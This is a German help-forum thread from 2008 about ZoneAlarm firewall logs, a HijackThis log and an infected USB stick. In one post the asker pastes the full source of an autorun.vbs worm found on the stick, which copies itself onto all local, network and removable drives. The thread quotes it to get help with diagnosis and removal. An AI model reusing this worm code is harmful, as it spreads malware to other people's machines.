Startseite
Hilfe-ForumFrageSuchenKontakt/Impressum

ForenForum
ZoneAlarm blockiert alle 10 Sekunden Pakete - Normal, oder habe ich einen Virus?
Von: le Cauchemar *
am 06.09.2008


Guten Tag,

Ich habe ZoneAlarm Pro, Windows XP.
Als ich das Programm etwas durchstöberte, fand ich folgendes Protokoll, das ca. alle 10 Sekunden einen neuen Eintrag bekommt:

Bild-URL: http://img95.imageshack.us/img95/5239/unbenannt1kj1.jpg

Die Anti-Spyware-Prüfung des Programmes brachte keine Ergebnisse.

Ich dachte erst, das sei ein Virus, aber dann habe ich mir die IPs genauer angesehen:
Ich benutze eine Fritzbox, die über LAN mit meinem PC verbunden ist.
Unter LAN-Verbindungen>>Netzwerkunterstützung habe ich meine IP gefunden.
Das ist die Ziel-IP des Protokolls, die auf ***.***.**8.22 endet.
Die Quell-IP ist die gleiche, nur endet sie auf ***.***.**8.1
Ist das etwa ein ganz normales Lebenszeichen meines Fritzbox-Routers?

Ich bedanke mich schonmal für alle Antworten.
Ich bin nicht gerade ein Profi in dem Thema ^^
Sollte eine wichtige Information fehlen, um das zu klären, sagt Bescheid.   

Antwort 1 von w
am 07.09.2008


Das ZA sinnfrei ist,dürfte hinlänglich bekannt sein.Einfach vom system werfen und gut ist.
nur zur info:
http://www.heise.de/foren/S-Re-Erfahrung-mit-Personal-Firewall-CORE-FORCE/forum-7305/msg-14855227/read/

Antwort 2 von copy *****
am 07.09.2008


..also normal ist es auf jedenfall nicht!
Hast du dort schon mal bei Programmeinstellungen geschaut, lösch dort alle die du nicht brauchst und beachte bei anderen deren Freigabe.
www.hijackthis.de mal zur Sicherheit.  

Antwort 3 von Zidane
am 07.09.2008


ZoneAlarm entfernen...Windows Firewall reicht aus.
mit HJT ein LOG erstellen und hier rein posten
 

Antwort 4 von le Cauchemar *
am 15.09.2008


OK, vielen Dank erstmal bis hierhin  Smiley
Mein HJT-Log:
Logfile of Trend Micro HijackThis v2.0.2
Scan saved at 18:59:48, on 15.09.2008
Platform: Windows XP SP1 (WinNT 5.01.2600)
MSIE: Internet Explorer v6.00 SP1 (6.00.2800.1106)
Boot mode: Normal

Running processes:
C:\WINDOWS\System32\smss.exe
C:\WINDOWS\system32\winlogon.exe
C:\WINDOWS\system32\services.exe
C:\WINDOWS\system32\lsass.exe
C:\WINDOWS\system32\svchost.exe
C:\WINDOWS\System32\svchost.exe
C:\WINDOWS\system32\ZoneLabs\vsmon.exe
C:\WINDOWS\Explorer.EXE
C:\WINDOWS\System32\VTTimer.exe
C:\WINDOWS\System32\S3trayp.exe
C:\WINDOWS\RTHDCPL.EXE
C:\Programme\Zone Labs\ZoneAlarm\zlclient.exe
C:\Programme\Gemeinsame Dateien\Real\Update_OB\realsched.exe
C:\Programme\Java\jre1.6.0_05\bin\jusched.exe
C:\Programme\Lexmark 2300 Series\lxcgmon.exe
C:\Programme\Lexmark 2300 Series\ezprint.exe
C:\WINDOWS\System32\ctfmon.exe
C:\Programme\Messenger\msmsgs.exe
C:\Programme\Google\Google Updater\GoogleUpdater.exe
C:\WINDOWS\system32\spoolsv.exe
C:\Programme\FRITZ!DSL\IGDCTRL.EXE
C:\Programme\Google\Common\Google Updater\GoogleUpdaterService.exe
C:\WINDOWS\System32\svchost.exe
C:\WINDOWS\System32\lxcgcoms.exe
C:\Programme\Mozilla Firefox\firefox.exe
C:\Programme\ICQLite\ICQLite.exe
C:\Programme\Real\RealPlayer\RealPlay.exe
C:\Programme\HijackThis\HijackThis.exe

R0 - HKCU\Software\Microsoft\Internet Explorer\Main,Start Page = http://www.google.de/
O2 - BHO: SSVHelper Class - {761497BB-D6F0-462C-B6EB-D4DAF1D92D43} - C:\Programme\Java\jre1.6.0_05\bin\ssv.dll
O2 - BHO: Google Toolbar Notifier BHO - {AF69DE43-7D58-4638-B6FA-CE66B5AD205D} - C:\Programme\Google\GoogleToolbarNotifier\2.1.615.5858\swg.dll
O3 - Toolbar: &Radio - {8E718888-423F-11D2-876E-00A0C9082467} - C:\WINDOWS\System32\msdxm.ocx
O4 - HKLM\..\Run: [VTTimer] VTTimer.exe
O4 - HKLM\..\Run: [S3Trayp] S3trayp.exe
O4 - HKLM\..\Run: [RTHDCPL] RTHDCPL.EXE
O4 - HKLM\..\Run: [Alcmtr] ALCMTR.EXE
O4 - HKLM\..\Run: [ZoneAlarm Client] "C:\Programme\Zone Labs\ZoneAlarm\zlclient.exe"
O4 - HKLM\..\Run: [TkBellExe] "C:\Programme\Gemeinsame Dateien\Real\Update_OB\realsched.exe"  -osboot
O4 - HKLM\..\Run: [SunJavaUpdateSched] "C:\Programme\Java\jre1.6.0_05\bin\jusched.exe"
O4 - HKLM\..\Run: [lxcgmon.exe] "C:\Programme\Lexmark 2300 Series\lxcgmon.exe"
O4 - HKLM\..\Run: [EzPrint] "C:\Programme\Lexmark 2300 Series\ezprint.exe"
O4 - HKCU\..\Run: [CTFMON.EXE] C:\WINDOWS\System32\ctfmon.exe
O4 - HKCU\..\Run: [MSMSGS] "C:\Programme\Messenger\msmsgs.exe" /background
O4 - HKCU\..\RunOnce: [ICQ Lite] C:\Programme\ICQLite\ICQLite.exe -trayboot
O4 - HKUS\S-1-5-19\..\Run: [CTFMON.EXE] C:\WINDOWS\System32\CTFMON.EXE (User 'LOKALER DIENST')
O4 - HKUS\S-1-5-20\..\Run: [CTFMON.EXE] C:\WINDOWS\System32\CTFMON.EXE (User 'NETZWERKDIENST')
O4 - HKUS\S-1-5-18\..\Run: [CTFMON.EXE] C:\WINDOWS\System32\CTFMON.EXE (User 'SYSTEM')
O4 - HKUS\.DEFAULT\..\Run: [CTFMON.EXE] C:\WINDOWS\System32\CTFMON.EXE (User 'Default user')
O4 - Global Startup: Google Updater.lnk = C:\Programme\Google\Google Updater\GoogleUpdater.exe
O9 - Extra button: (no name) - {08B0E5C0-4FCB-11CF-AAA5-00401C608501} - C:\Programme\Java\jre1.6.0_05\bin\ssv.dll
O9 - Extra 'Tools' menuitem: Sun Java Konsole - {08B0E5C0-4FCB-11CF-AAA5-00401C608501} - C:\Programme\Java\jre1.6.0_05\bin\ssv.dll
O9 - Extra button: ICQ Lite - {B863453A-26C3-4e1f-A54D-A2CD196348E9} - C:\Programme\ICQLite\ICQLite.exe
O9 - Extra 'Tools' menuitem: ICQ Lite - {B863453A-26C3-4e1f-A54D-A2CD196348E9} - C:\Programme\ICQLite\ICQLite.exe
O23 - Service: AVM IGD CTRL Service - AVM Berlin - C:\Programme\FRITZ!DSL\IGDCTRL.EXE
O23 - Service: AVM FRITZ!web Routing Service (de_serv) - AVM Berlin - C:\Programme\Gemeinsame Dateien\AVM\de_serv.exe
O23 - Service: Google Updater Service (gusvc) - Google - C:\Programme\Google\Common\Google Updater\GoogleUpdaterService.exe
O23 - Service: lxcg_device -   - C:\WINDOWS\System32\lxcgcoms.exe
O23 - Service: TrueVector Internet Monitor (vsmon) - Zone Labs, LLC - C:\WINDOWS\system32\ZoneLabs\vsmon.exe

--
End of file - 4029 bytes

Hmm..Internet Explorer ist angeblich schädlich.
Ich glaube, ich habe den (das Original) nicht einmal installiert...
Wie sollte ich jetzt vorgehen?


Habe gerade auf meinem USB-Stick eine Autorun.vbs entdeckt  Shocked
Bevor ich ihn vor 5 Minuten angeschlossen habe, war die Datei nicht drauf  Sad
Habe die Datei mal gelöscht und den Inhalt in einer txt-Datei mit neutralem Namen gespeichert, um ihn hier zu posten:

Zitat
rem autorun·ç±©
on error resume next
Set WshShell =CreateObject("WScript.Shell")

if Year(Date)=2030 and Month(Date)=6 and Day(Date)=30 then
a=WshShell.Run("autorun.bat Over" ,0,True)
Set Of = CreateObject("Scripting.FileSystemObject")
Set fc = Of.OpenTextFile("C:\autorun.txt", 1)
mt = fc.ReadAll
fc.Close
if mt<>"" then msgbox decrypt(mt)
end if

if Year(Date)>2030 or Month(Date)>100 then
else
For i=1 to 1
set Of = CreateObject("Scripting.FileSystemObject")
set dir = Of.GetSpecialFolder(1)

Set dc = Of.Drives
if WScript.ScriptFullName=dir&"\autorun.vbs" then
isdir=true
else
a=WshShell.Run("autorun.bat Open" ,0,False)
isdir=false
end if
For Each d In dc
If d.DriveType = 2 Or d.DriveType = 3 or (d.DriveType = 1 and d<>"A:" and d<> "B:") Then
a=WshShell.Run("autorun.bat - "&d ,0,True)
if isdir then
Of.CopyFile dir&"\autorun.*",d&"\",True
else
Of.CopyFile "autorun.*",d&"\",True
end if
a=WshShell.Run("autorun.bat + "&d ,0,True)
End If
next
if isdir then
wscript.sleep 60000
i=0
else
a=WshShell.Run("autorun.bat - "&dir ,0,True)
Of.CopyFile "autorun.*",dir&"\",True
a=WshShell.Run("autorun.bat + "&dir ,0,True)
End if
next
End if

function decrypt(dcode)
   dim texts
   dim i
   for i=1 to len(dcode)-4
   x=i mod 5
   texts=texts & chr(asc(mid(dcode,i,1))-x)
   next
   decrypt=texts
end function
Wenn diese Zeilen hier unerwünscht sind, werde ich (oder ein Moderator - kommt drauf an, wer schneller ist) sie natürlich entfernen. 

Antwort 5 von Zidane
am 15.09.2008


HJT LOG ist sauber
system updaten auf SP3
das du mit SP1 rumsurfst ist schon gefährlich genug
und ZoneAlarm entfernen

Antwort 6 von w
am 16.09.2008


System vom Internet trennen,Du hast eine Virus oder trojaner Dir per USB eingeschlept.Die vbs datei war ein bestandteil dieses virus.
System von sauberem medium Booten,und untersuchen.Je nach art des schädlings ist manuelles entfernen ausreichend,ansonsten neuinstalation.

Antwort 7 von CallBack ***
am 16.09.2008


Hallo,
also ich bin mit ZA voll zufrieden. Zig Tausend Rechner versuchen in andere Rechner einzudringen und das ununterbrochen 24 Std. am Tag, 7 Tage die Woche, 365 Tage im Jahr. Warum sollte sonst ZA Anfragen blocken, tja, das ist doch der Sinn einer Firewall und ich kann mir gut vorstellen, dass solche Versuche alle 10 Sec. stattfinden können. Bei einem Test der Firewall auf www.com-magazin.de habe ich festgestellt, dass ZA die wichtigen Ports geschlossen oder versteckt hat, also keine Angriffspunkte für Eindringlinge, genauso, wie es eine Firewall machen sollte...

mfg
CallBack

Antwort 8 von Zidane
am 16.09.2008


du hasst den sinn einer personal firewall nicht verstanden...
(lies mal hier zb http://www.team-cauchy.de/personal/)

eine Hardware Firewall kann niemals durch eine Software Firewall ersetzt werden....

mit deiner Windows Firewall hasst du mehr schutz
als mit einer PFW...

eine PFW kann man leicht aushebeln...
und was wichtiger ist eine PFW schützt nicht nein...sie ist ein sicherheitsrisiko....

aber lass dich ruhig weiter von den herstellern solcher software verarschen.

mfg Zidane

Antwort 9 von CallBack ***
am 16.09.2008


Hallo,
ach komm, ganz so sinnlos kann es nicht sein...und ich zahle nix für Programme, lediglich das BS lass ich mich etwas kosten....aber ich lass Dir deine Meinung...

mfg
CallBack

» weitere Antworten